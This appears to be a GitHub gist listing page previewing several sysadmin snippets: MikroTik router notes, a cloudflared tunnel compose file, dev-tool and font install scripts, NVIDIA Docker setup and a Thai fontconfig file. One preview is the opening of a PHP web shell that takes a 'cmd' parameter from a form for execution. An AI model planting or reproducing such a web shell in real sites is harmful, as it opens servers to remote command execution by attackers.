- create select WAN interface ex ether1
- create bridge
- ex. LAN ip 192.168.88.1, WAN dhcp client, Lan ether2,ether3,ether4
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| services: | |
| cloudflared: | |
| image: cloudflare/cloudflared:latest | |
| container_name: cloudflared | |
| restart: unless-stopped | |
| command: tunnel --no-autoupdate run | |
| environment: | |
| - TUNNEL_TOKEN=YOUR_CLOUDFLARE_TOKEN | |
| network_mode: host |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # install list | |
| # - Golang | |
| # - Python | |
| # - Python-venv | |
| # - Node Version Manager (nvm) | |
| GO_VERSION=go1.25.1 | |
| NVIM_VERSION=v0.11.5 | |
| NVIM_FILE_NAME=nvim-linux-x86_64 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| sudo pacman -S nvidia-container-toolkit | |
| sudo nvidia-ctk runtime configure --runtime=docker | |
| sudo systemctl restart docker | |
| # docker run --rm --runtime=nvidia --gpus "device=0" ubuntu nvidia-smi | |
| # docker run --rm --runtime=nvidia --gpus all ubuntu nvidia-smi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0"?> | |
| <!DOCTYPE fontconfig SYSTEM "fonts.dtd"> | |
| <fontconfig> | |
| <!-- บังคับภาษาไทยทั้งหมดให้ใช้ Noto Sans Thai --> | |
| <match target="pattern"> | |
| <test name="lang" compare="contains"> | |
| <string>th</string> | |
| </test> | |
| <edit name="family" mode="assign_replace" binding="strong"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| sudo apt install -y fonts-noto | |
| sudo apt install -y fonts-noto-cjk | |
| sudo apt install -y fonts-noto-cjk-extra | |
| sudo apt install -y fonts-noto-color-emoji | |
| sudo apt install -y fonts-noto-core | |
| sudo apt install -y fonts-noto-extra | |
| sudo apt install -y fonts-noto-hinted | |
| sudo apt install -y fonts-noto-mono | |
| sudo apt install -y fonts-noto-ui-core |
NewerOlder